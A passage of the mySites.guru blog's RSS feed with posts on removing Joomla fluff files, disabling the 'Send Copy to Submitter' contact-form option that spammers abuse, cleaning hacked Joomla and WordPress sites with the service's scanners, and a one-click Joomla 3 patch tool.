&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/727px_rainforest_bluemountainsnsw.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/800px_cradle_mountain_seen_from_barn_bluff.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/800px_ormiston_pound.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/800px_pinnacles_western_australia.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/parks.gif&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;&lt;p&gt;Calling the license file fluff is not a swipe at the GPL&lt;/p&gt;&lt;div&gt;&lt;p&gt;Just to be clear 🙂 That doesn’t mean we believe the license Joomla is distributed under is fluff. The GPL recommends that the text of the license is distributed with the Open Source of the product, but you don’t need it there cluttering up your webspace.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We did try to get the Joomla project to see sense, but failed 😉&lt;/p&gt;
&lt;h2&gt;Can You View Fluff File Status Across All Joomla Sites?&lt;/h2&gt;
&lt;p&gt;The Ultimate Toolset at mySites.guru allows you to view how many fluff files are on each Joomla site at a glance also. like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.45-1024x803.C07rmFyi_2mvUeh.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.45-1024x803.C07rmFyi_UJP2d.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.45-1024x803.C07rmFyi_z6qdV.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.45-1024x803.C07rmFyi_EJuz5.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.45-1024x803.C07rmFyi_2mvUeh.webp 1024w&quot; alt=&quot;View the fluff files in joomla across many sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;803&quot; /&gt;&lt;em&gt;View the fluff files in Joomla across many sites&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Does mySites.guru Check Technical Requirements Too?&lt;/h2&gt;
&lt;p&gt;Planning an upgrade? mySites.guru can check whether your sites meet the technical requirements for &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; before you hit the update button - across all your connected sites at once.&lt;/p&gt;
&lt;h2&gt;What About Hidden Files?&lt;/h2&gt;
&lt;p&gt;Speaking of tidying up your webspace - fluff files aren’t the only things hiding in plain sight. Hackers plant &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;dot-prefixed hidden files and folders&lt;/a&gt; that most file managers never show you. The mySites.guru audit surfaces them all in seconds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Post-update cleanup is part of our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing updates at scale&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>security</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-automatically-remove-fluff-files-after-joomla-updates.webp" length="0" type="image/webp"/></item><item><title>Disable &quot;Send Copy to Submitter&quot; in Joomla</title><link>https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/</guid><description>Use mySites.guru to bulk-disable the Joomla Send Copy to Submitter contact form setting across all your sites to stop it being abused for spam.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We have all been there. The customer calls and says people are telling him that his &lt;strong&gt;Joomla Site is spamming them&lt;/strong&gt;, and on investigation the spammer has misused the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; feature of Joomla. &lt;strong&gt;Well now mySites.guru identifies this setting and alerts you if its not disabled.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One of the long standing core features of Joomla is the Contact Form.&lt;/p&gt;
&lt;p&gt;However, the contact form has been much abused by spammers over the years.&lt;/p&gt;
&lt;p&gt;One of the ways spammers abuse the contact form is to use the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; feature.&lt;/p&gt;
&lt;p&gt;This is a simple checkbox on the contact form that, when ticked, and the form submitted, will send the contact form as normal to the Site Admin (or whoever its configured to send to) as well as to the email address provided by the person filling in the form.&lt;/p&gt;
&lt;p&gt;That “person” might be a bot, a spammer, and the email address they provide in the “Email” input is the email address destination of their spam target.&lt;/p&gt;
&lt;p&gt;Once they put the email of their target in, and check the &lt;code&gt;Send Copy To Submitter&lt;/code&gt;box they submit the form and Joomla simply honours what they have asked. It sends a copy to the email address provided.&lt;/p&gt;
&lt;p&gt;The “victim” then receives spam with a subject line starting “Copy of:”&lt;/p&gt;
&lt;p&gt;The “victim” then accuses your site of spamming them. Of course, this only works if your site’s email configuration is actually sending mail in the first place - see &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to verify your Joomla email configuration&lt;/a&gt; for the full checklist.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Send to Submitter in Joomla?&lt;/h2&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h2&gt;Does the mySites.guru Snapshot Show This Setting?&lt;/h2&gt;
&lt;p&gt;Every day the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru snapshot takes tens of thousands of new snapshots of Joomla and WordPress sites&lt;/a&gt; (the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; issue is a Joomla thing though!)&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 19.06.41&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 946px) 946px, 100vw&quot; width=&quot;946&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.41-946x1024.bc3b0Wl0_Z1VzsQW.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.41-946x1024.bc3b0Wl0_Z2x3nkY.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.41-946x1024.bc3b0Wl0_29nR9o.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.41-946x1024.bc3b0Wl0_Z1DaN1I.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.41-946x1024.bc3b0Wl0_Z1VzsQW.webp 946w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We now report in the snapshot if your site has the &lt;code&gt;Send Copy To Submitter&lt;/code&gt;setting enabled.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 19.06.26&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;182&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.26-1024x182.CjSkUbaF_1LKCmW.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.26-1024x182.CjSkUbaF_Zk0Vcl.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.26-1024x182.CjSkUbaF_Z2vi4jX.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.26-1024x182.CjSkUbaF_Z5Sz8k.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.06.26-1024x182.CjSkUbaF_1LKCmW.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Note that in later versions this setting is disabled by default when you install Joomla, and that earlier versions had it enabled by default.&lt;/p&gt;
&lt;p&gt;Note also that although we check the Global value of this setting, you can still override the Global setting on a per form basis. We don’t check this because that is a intended action you would need to take, and we hope you know why you did it. We are just recommending sane Global defaults.&lt;/p&gt;
&lt;p&gt;You can also use the pivot button to view this settings current status on ALL your connected sites to mySites.guru (remember that &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru is an UNLIMITED SITES service for only GBP19.99 a month&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 19.07.33&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;781&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.07.33-1024x781.BqX3N_r3_Z2s4OTo.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.07.33-1024x781.BqX3N_r3_13syC8.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.07.33-1024x781.BqX3N_r3_Z25FXl.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.07.33-1024x781.BqX3N_r3_1EgP89.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.07.33-1024x781.BqX3N_r3_Z2s4OTo.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 19.08.10&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;687&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.08.10-1024x687.CPEfnVUV_Z1dwGhW.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.08.10-1024x687.CPEfnVUV_1222Kx.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.08.10-1024x687.CPEfnVUV_6i4NK.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.08.10-1024x687.CPEfnVUV_Z14oiuC.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.08.10-1024x687.CPEfnVUV_Z1dwGhW.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For more Joomla-specific configuration and security tips for agencies, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are running Joomla 6.1 or later, the built-in &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;proof-of-work captcha&lt;/a&gt; is now the better default for contact form spam protection than Google reCAPTCHA. No API keys, no cookie consent banner, and it does not send anything to a third party.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>spam prevention</category><category>security</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Clean a Hacked Site with Suspect Content and Hacked Files</title><link>https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/</guid><description>Use mySites.guru&apos;s Suspect Content and Hacked Files tools to find, confirm, and clean backdoors on a hacked Joomla or WordPress site, step by step.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So it happened. Your site got hacked. Don’t panic. If you haven’t triaged the hack yet, start with our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked-site guide&lt;/a&gt; for the first steps to take before you touch anything else. If you’re not 100% sure yet, start with &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is actually hacked&lt;/a&gt; - it covers the signs vs. false alarms. For the full rundown on what happens when a &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress site gets hacked&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site gets hacked&lt;/a&gt;, those guides cover warnings signs, consequences, and prevention - but this post is about the cleanup process using mySites.guru. If your Joomla site uses the Astroid Framework, check our &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid vulnerability breakdown&lt;/a&gt; first - it covers the specific backdoors and cleanup steps for that attack. Extension vulnerabilities like the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework exploit&lt;/a&gt; are another common entry point, particularly because shared library plugins like nrframework get bundled as silent dependencies that site owners don’t realise are there.&lt;/p&gt;
&lt;h2&gt;Why Should You Back Up First (and Not Restore)?&lt;/h2&gt;
&lt;p&gt;Do it now. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Back up your site&lt;/a&gt;. Even if it’s hacked. Back up right now. Done? Good.&lt;/p&gt;
&lt;p&gt;You’ll see people recommend restoring from your last clean backup. &lt;strong&gt;This should only be a last resort.&lt;/strong&gt; Restoring wipes away evidence that someone experienced can use to understand how you were hacked in the first place. Worse, it re-introduces the same security hole that let the attacker in.&lt;/p&gt;
&lt;h2&gt;Want an expert to just fix it?&lt;/h2&gt;
&lt;p&gt;If you’d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee of GBP 120, Phil will clean your site, upgrade it, lock it down and hand it back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;How Do You Find the Hacked Files with mySites.guru?&lt;/h2&gt;
&lt;p&gt;mySites.guru has a set of tools built specifically for this. The platform checks every line of code in your webspace to show you what’s actually happening on your site.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru audit toolbar showing the security scanning tools available for a connected site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;129&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.50.39-1024x129.CCG2GH-3_ZVGd.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.50.39-1024x129.CCG2GH-3_24cptc.webp 640w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.50.39-1024x129.CCG2GH-3_Z13IiJr.webp 750w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.50.39-1024x129.CCG2GH-3_2tER9v.webp 828w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.50.39-1024x129.CCG2GH-3_ZVGd.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The most popular tool for hack cleanup is the &lt;strong&gt;suspect content scanner&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;How Do You Discover Suspect Content in Your Files?&lt;/h2&gt;
&lt;p&gt;After your site has been audited, you’ll find the suspect content tool in the “Hacked?” section of the Audit tab.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Audit tab showing the Hacked section with the suspect content Investigate button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;210&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.22.38-1024x210.ks_ahY8h_Z1oTy97.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.22.38-1024x210.ks_ahY8h_1rKlgu.webp 640w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.22.38-1024x210.ks_ahY8h_KAUP7.webp 750w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.22.38-1024x210.ks_ahY8h_d9eBx.webp 828w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.22.38-1024x210.ks_ahY8h_Z1oTy97.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking &lt;strong&gt;Investigate&lt;/strong&gt; loads a real-time scan of your files:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru suspect content results listing flagged files with path, modified date, size, and action buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;141&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.26.09-1024x141.Djbc0J6l_ZarPgX.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.26.09-1024x141.Djbc0J6l_Z2hI1Xr.webp 640w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.26.09-1024x141.Djbc0J6l_ZkWl0X.webp 750w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.26.09-1024x141.Djbc0J6l_OWpUN.webp 828w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.26.09-1024x141.Djbc0J6l_ZarPgX.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The tool shows the file path, filename, last modified date, size, and permissions. You get buttons to edit the file, view the suspect content matches, or delete the file entirely. Before deleting anything, make sure you know &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;which results are confirmed hacks and which are pattern matches needing a closer look&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That single-file action is now backed by a full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; too, for when the cleanup goes beyond the files an audit has already flagged: browse the whole site, jailed to its root, with every delete going to a recoverable trash first rather than gone for good.&lt;/p&gt;
&lt;p&gt;Click on a filename and the platform retrieves the file from your site, runs it against the pattern matching engine, and highlights the exact lines that look suspicious:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru showing matched suspect code lines inside a hacked index.php file&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;222&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.29.15-1024x222.DsVcuqu4_27mU4y.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.29.15-1024x222.DsVcuqu4_23O3rK.webp 640w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.29.15-1024x222.DsVcuqu4_Z1DVaYh.webp 750w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.29.15-1024x222.DsVcuqu4_EvwTr.webp 828w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.29.15-1024x222.DsVcuqu4_27mU4y.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How Do You Revert Core Joomla and WordPress Files?&lt;/h2&gt;
&lt;p&gt;In the example above, index.php has two lines of injected code. You could edit those lines out manually, but there’s a faster way.&lt;/p&gt;
&lt;p&gt;The first tool in the Audit tab is the &lt;strong&gt;core file integrity check&lt;/strong&gt; - it lists every core file (Joomla or WordPress) that has been modified since release. Click on a file and you get a side-by-side diff: the original on the left, your modified version on the right. That is how a &lt;a href=&quot;https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/&quot;&gt;fake Cloudflare captcha injected into wp-includes/functions.php&lt;/a&gt; was on the list before anyone had a name for it.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru file diff view comparing original Joomla index.php with the hacked version, showing injected code highlighted in red&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;415&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.34.45-1024x415.2xckSETn_1b1OsO.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.34.45-1024x415.2xckSETn_Uulbs.webp 640w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.34.45-1024x415.2xckSETn_ei13t.webp 750w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.34.45-1024x415.2xckSETn_Z10IsUN.webp 828w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.34.45-1024x415.2xckSETn_1b1OsO.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click the blue arrow and the original file is restored in a single click - overwriting the hacked version and reverting all changes.&lt;/p&gt;
&lt;p&gt;That handles core files an attacker &lt;em&gt;changed&lt;/em&gt;. It does nothing about a file the attacker &lt;em&gt;added&lt;/em&gt; to a core folder, because there is no original to revert to. The &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor Files check&lt;/a&gt; is the one that finds those.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru restore button confirming a core file has been reverted to its original version&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 598px) 598px, 100vw&quot; width=&quot;598&quot; height=&quot;270&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.35.52.z2BV1oV5_Z1Chuyj.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.35.52.z2BV1oV5_Z1Chuyj.webp 598w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What Other Audit Tools Help Investigate a Hack?&lt;/h2&gt;
&lt;p&gt;The suspect content scanner and core file diff are just two of the tools available. The full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit toolset&lt;/a&gt; includes checks for:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Audit tab showing the full list of file-based security checks and diagnostic tools&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;931&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.38.48-1024x931.BTnO9ixz_Z1MfyLX.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.38.48-1024x931.BTnO9ixz_1fMsKP.webp 640w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.38.48-1024x931.BTnO9ixz_1F115X.webp 750w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.38.48-1024x931.BTnO9ixz_Z2tTU3g.webp 828w, https://mysites.guru/_astro/Screenshot-2019-10-11-at-12.38.48-1024x931.BTnO9ixz_Z1MfyLX.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not every flagged file is malicious. Some are &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files left behind by tools or hosting providers&lt;/a&gt; that are harmless but worth knowing about. Work through each tool and you’ll know exactly what needs cleaning.&lt;/p&gt;
&lt;h2&gt;How Do You Set Up Monitoring to Catch Future Hacks Early?&lt;/h2&gt;
&lt;p&gt;Once your site is clean, set up monitoring so you’ll know immediately if something changes again.&lt;/p&gt;
&lt;p&gt;mySites.guru lets you add &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; and run unlimited backups, snapshots, and audits. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file monitoring&lt;/a&gt; checks a configurable list of critical files on every page load and emails you if any of them are modified.&lt;/p&gt;
&lt;p&gt;This matters because the first hack often leaves a dormant dropper behind, and a &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;second wave reactivates it days or weeks after your cleanup&lt;/a&gt; to plant more backdoors. Continuous file-change monitoring is how you catch that return visit.&lt;/p&gt;
&lt;p&gt;Finding a hack the same day it happens is a completely different situation from discovering it three months later.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Always back up before making changes&lt;/p&gt;
  &lt;p&gt;Before editing or restoring any files, take a fresh backup. If something goes wrong during cleanup, you need a way to get back to where you started.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on your site to see what mySites.guru finds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt; for agencies.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru.png" length="0" type="image/png"/></item><item><title>Fix Joomla 3 Security Issues in One Click</title><link>https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/</guid><description>Patch every known Joomla 3 security vulnerability across all your sites with a single toggle in mySites.guru - no manual file edits, no eLTS subscription.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 is end of life. The official project stopped releasing public updates at 3.10.12, but new vulnerabilities keep turning up. There used to be a paid safety net: Joomla’s &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Extended Long Term Support programme&lt;/a&gt; backported fixes to Joomla 3 for a subscription, but it ended on 17 February 2025 and has shipped nothing since. Every Joomla core release since then has fixed issues that reach Joomla 3, with no official patch for them on Joomla 3 at all. Joomla’s September 2026 release, 5.4.9, fixed sixteen more core issues, and most reach back through the whole 3.x series. We backported every one that applies, and while checking it we found five from the spring that had slipped past us too. The tool went from 65 files to 85.&lt;/p&gt;
&lt;p&gt;Manually patching 85 files per site is tedious enough when you have five sites. When you have five hundred, forget it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru fixes every known Joomla 3 security issue with a single click.&lt;/p&gt;&lt;div&gt;&lt;p&gt;We include all Joomla 3 security fixes in the service. No eLTS subscription needed.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How Does It Work?&lt;/h2&gt;
&lt;p&gt;The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. One toggle. That’s it.&lt;/p&gt;
&lt;p&gt;Note: the toggle works on any Joomla 3.10.12 install. The tool ships every patch through to the final eLTS backport (3.10.20-elts, the last one before the programme closed) and every core fix disclosed since, so flipping it on brings the site right up to date in one go.&lt;/p&gt;
&lt;p&gt;Under the hood, the mySites.guru connector tracks the MD5 hash of each file that needs patching. Flip the toggle on and it compares hashes against the expected patched versions, replacing anything that doesn’t match. Flip it off and the files revert to stock 3.10.12.&lt;/p&gt;
&lt;p&gt;The tool only runs on Joomla 3.10.12, the last publicly released version of the Joomla 3 series. It ignores the commercial eLTS programme entirely.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.43.45-1024x246.C_c7C3_N_5z36j.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.43.45-1024x246.C_c7C3_N_Z2vBkCD.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-16.43.45-1024x246.C_c7C3_N_Z1kzbaf.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-16.43.45-1024x246.C_c7C3_N_CJf77.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-21-16.43.45-1024x246.C_c7C3_N_5z36j.webp 1024w&quot; alt=&quot;One-click Joomla 3 security patch toggle&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;246&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Where Do You Find the Tool?&lt;/h2&gt;
&lt;p&gt;Two ways to get there:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;Cmd+K&lt;/a&gt; and search for “Fix All Known Joomla 3”&lt;/li&gt;
&lt;li&gt;Open your site’s &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;Snapshot&lt;/a&gt; and scroll to the Joomla Configuration section&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-15.01.04-1024x325.CzBLMl8x_158xDl.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-15.01.04-1024x325.CzBLMl8x_1CrCmh.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-15.01.04-1024x325.CzBLMl8x_RzilC.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-15.01.04-1024x325.CzBLMl8x_112Ish.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-21-15.01.04-1024x325.CzBLMl8x_158xDl.webp 1024w&quot; alt=&quot;Command palette search for &amp;quot;Fix All Known Joomla 3 End Of Life Security Issues&amp;quot;&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;325&quot; /&gt;&lt;/p&gt;
